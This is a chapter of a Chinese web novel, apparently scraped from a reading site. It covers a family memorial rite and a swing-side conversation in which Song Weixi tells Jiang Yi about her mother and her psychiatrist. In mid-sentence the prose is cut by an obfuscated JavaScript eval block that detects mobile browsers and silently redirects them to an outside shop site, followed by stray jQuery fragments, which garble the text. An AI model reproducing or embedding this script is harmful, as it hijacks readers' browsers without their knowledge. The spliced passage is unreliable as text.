“阿嚏!”

    姜亿打了个喷嚏,揉了揉鼻子。

    也不知道谁在念叨她。

    “哼!怕不是有人在想你吧。”邹觅夜脸色很臭,自打姜亿把索恩放跑后,他就一直这个状态。

    “我很好奇,你到底对索恩做了什么,他才会这么恨你。”姜亿问道。

    邹觅夜火气大得很,他说道:“我怎么知道,我平常是没给他钱吗?谁知道他脑子搭错了哪根筋,变成白眼狼,你反而问我做了什么?”

    “好了,小夜,安静点,不要那么大声。”邹寰宇眼神略带指责。

    不远处,金色灿烂的向日葵花圃旁,一群穿着红黄僧衣的僧人神色肃穆地念经,身旁悠悠焚烧着檀香,花圃旁也摆放着各种祭祀用品。

    姜亿没见过这种场景,一时觉得新奇,她专注看着僧人念经。

    耳边邹觅夜还在说道:“大哥都不在,爸你做这些有什么用。”

    “安静。”邹寰宇给了邹觅夜一个眼神。

    “是是是,我安静,这个家有人在乎我吗?我昨天差点被人杀死啊!妈,你会像帮大姐那样帮我吗?设个局,把伤害我的人杀掉?”邹觅夜眼含期待。

    宋清岚抱臂看着僧人念经,连眼神都没给邹觅夜。

    邹觅夜咬着他丰润的唇,气了好一会,随后说道:“是,大哥重要,大姐重要,我不重要就是了。”

    他又把胳膊重重搭在姜亿头上,“还有你,这里最坏的就是你了,从今天开始,每天要寸步不离地跟着我,保护我,听到吗!”

    “没问题。”姜亿答应得干脆,把邹觅夜下面的话都堵在肚子里。

    “你……好,答应我就好。”邹觅夜安静下来。

    一会儿,几个僧人停止念经,其中一个僧人单手竖掌于胸前,对邹寰宇一拜,便把邹寰宇指引到灵台前。

    邹寰宇一脸菜色,口中念叨道:“旭知妈妈啊,不要怪旭知那孩子,毕竟他是你唯一的孩子,原谅他吧。他做出这种事我实在不知道,怪我没把他教好,你可千万不要怪他。为了不再打扰你的安宁,我就在这里给你建个墓碑,不把你挖出来了。你地下有知,原谅旭知吧。”

    他从僧人手里接过檀香,插在了香坛里。

    之后又朝姜亿招招手,示意她过来。

    姜亿一脸疑惑地走到邹寰宇身边,邹寰宇动作轻柔地推了推姜亿的肩膀,把她推到灵台前。

    他说道:“来,姜亿,你也说两句。”

    “我?”姜亿指向自己,“我也要说吗?”

    邹旭知本人都不在,她姜亿要说话吗?

    “对。”邹寰宇肯定地点头,他忧愁地皱起眉头,“旭知他啊,向来没什么敬畏之心。你就把那天旭知对你说的话,在这里再说一遍吧,也让他的妈妈知道,他没有其他想法,他只是想她了。”

    姜亿想,怪不得要把她喊过来,果然没好事。

    在邹寰宇的殷殷期盼下,姜亿硬着头皮回忆了一下那天晚上的聊天内容。

    她想,要是邹旭知的母亲泉下有知,听了这话估计要气得活过来。

    在几个人的注视下,又硬着头皮说了一遍。

    熬人的上午终于过去。

    姜亿仰面,头倚在花园里秋千的靠背上,身体无聊地晃来晃去,于是天上的云也跟着她的视线晃来晃去。

    她在放空大脑,偶尔她也会迷茫,迷茫自己的选择到底正确与否。

    这时,一张清纯脸庞忽然出现,那人低着头,挡住姜亿看向天空的视线。

    是宋微晞。

    她眼神透彻,嘴唇边是柔软的笑意。几天不见,她又变了一副模样。

    “大小姐,你吓我一跳。”姜亿缓慢说道。

    宋微晞走到姜亿身边,和她同坐秋千上,这秋千很大,像是一把悬空的长椅。

    “我不是故意吓你的。”宋微晞脚撑在地上,秋千的摆动也随之停滞,“上一次,抱歉没理你。”

    “什么?”姜亿一脸疑惑,不知道宋微晞为什么突然道歉。

    “你不记得了?”宋微晞提醒,“上次你回来时,妈妈受伤才好,我没有理你,也没有见你。你没放在心上就好。”

    姜亿这才想起,她上次被邹寰宇叫回邹家,宋微晞状态怪怪的,也不愿意见她。

    “没事啦,大小姐你没事就好。”姜亿笑笑,这种事她才不会放在心上。

    宋微晞抬脚,腿微微悬空,重重往后一靠,秋千也跟着晃动起来。姜亿吓了一跳,仓促间握住秋千的绳子。

    “姜亿,我觉得我好像活在一个气球里。”宋微晞身体跟随秋千晃动,她穿着层层叠叠的黑纱裙,在裹挟着凉意的秋风中,像是一只振翅的蝴蝶。

    “活在气球里?”

    姜亿挥开飘在她手上的黑纱,这纱弄得她手痒痒的。

    宋微晞侧着身体,唇边柔软的笑意渐渐变得淡不可见,她眼神发空,像是在看姜亿,又像是在看空气。

    “自我来到这里,妈妈在气球外面,我在气球里面。她和我说话、陪我,给我的爱像隔着气球的那层皮,我在气球里面,感受不到清晰的爱,于是我拼命挣扎,想要从气球里出来,想要碰到妈妈,可我越挣扎,气球里空气就越少,我好像要窒息了。”

    “在我即将窒息时,我逃离了这里。结果外面的人更加可怕,我挣扎得更加剧烈,想要从气球里出来,想要拥抱妈妈。”

    “在你们看来,我就是个疯子吧。”

    姜亿沉默,她第一次见到宋微晞就是在邹家的餐厅,那时,她像失去母鸟的雏鸟,不停地呼喊母亲。

    她之前跟着邹觅诺到过几次邹家,却从来没见过她。

    “后来,我见到了你,姜亿。那是我第一次清晰地感受到有人触碰到我住的气球,我开始明白小诺的感受。可我还是住在气球里,如果你真的可以扎破我的气球,那小诺也不会那么痛苦,不是吗?”

    宋微晞眼神透亮如泉水,在姜亿一生中,她只在孩子身上见到过这样单纯的眼神。

    姜亿微不可闻地叹息。

    “明白这点后,我依旧在气球内挣扎。我的挣扎像是在装疯,我的潜意识告诉我,只要我疯了,妈妈就会回到我的身边。我明白我在装疯,可有时候,我觉得我真的疯了,我的想法、行动都不受控制。我问阳医生,我到底是清醒着还是疯了?”

    “他怎么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618766|202308||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说?”姜亿轻声问道。

    “阳医生没有直说,他只是说清醒和疯狂之间很远,又很近。”

    “妈妈受伤后,那个人要把狗送走,妈妈不同意,她说我喜欢。他们在病房里吵了起来,我在门外听他们吵架,那个人说,就是妈妈一直纵容我,我才没有办法离开她。”

    “妈妈说,她没有办法,她说了很多遍,很多遍。我看到妈妈脸上很痛苦的表情。”

    “后来,阳医生和我聊天。他表情很严肃,他告诉了我很多。他说,从我进入邹家起,妈妈就不是我一个人的妈妈。她把她的爱分了好几份,我只能拿到其中一份。我哭闹、听话,也拿不到全部。他说,终会有人站在妈妈身边,我永远不可能单独站在妈妈身边。”

    “他说了很多,很多,每一句都让我气球内的空气变少。一天,我去妈妈房间里找她,我看到了她身边的那个人,看到了邹觅夜,小诺也打来电话,妈妈身边好多好多人。一直以来,我都不敢和他们待在一块,这样,我就可以欺骗我自己。”

    “自从阳医生说了那些话后,我就没有办法骗自己。气球里空气越来越少,我就要窒息时,我想到了你。”

    “我?”姜亿还沉浸在宋微晞的发言里。

    “我问过妈妈,为什么姜亿的父母被邹旭知送走后,她一点也不在乎呢?妈妈说,那种父母,留在身边会更烦吧。我又去问阳医生,他告诉了我你在家里的处境。”

    “所以,在那个时候,我想知道你的感受,我想从气球里出来。我忍住痛苦,走进了房间,和那些人站在一起。可姜亿,好痛啊,和那些人站在一起的每一秒,我都痛苦地想要死去。但我坚持住了,把气球撕破,终于,我又可以拥抱妈妈了。”

    宋微晞脸上的表情说不出是幸福还是痛苦。

    “姜亿,有时候我想,我要是住在气球里会怎么样,虽然无法拥抱她,但可以一直被她牵在手里。后来我想了想,我还是不想让妈妈那么痛苦,她身上承受了太多。”

    宋微晞轻轻握住了姜亿的手,“姜亿,这一切真的很痛苦,我不知道我是怎么挺过来的。你呢,一直以来,你痛苦吗?”

    她的声音轻柔,却像一根尖锐的针扎向姜亿。

    姜亿扯了扯嘴角,说道:“大小姐,我痛苦啥啊,我从来就没把他们当我爸妈,所以我不痛苦。”

    “是吗?”宋微晞握紧了姜亿的手。

    姜亿原来的世界父母早就不在,她来这个世界时,期待过。

    宋微晞又轻轻晃起秋千,换了个话题,问道:“姜亿,你知道阳医生现在在哪里上班吗?”

    姜亿回过神,“他不就在你这边上班吗?”

    宋微晞疑惑道:“他没和你说过吗?他辞职了,我还以为他会和你说呢,毕竟,你们看起来关系挺好。”

    阳闻烬辞职了?

    姜亿有点不敢相信。

    他放弃复仇了吗?和宋微晞说那些话刺激她,就是为了把她治好?

    “阿嚏!”

    姜亿又打了个喷嚏,她揉了揉鼻子。

    今天到底是谁,老在念叨她。

    花园里凉风渐大,姜亿身上泛起一阵凉意。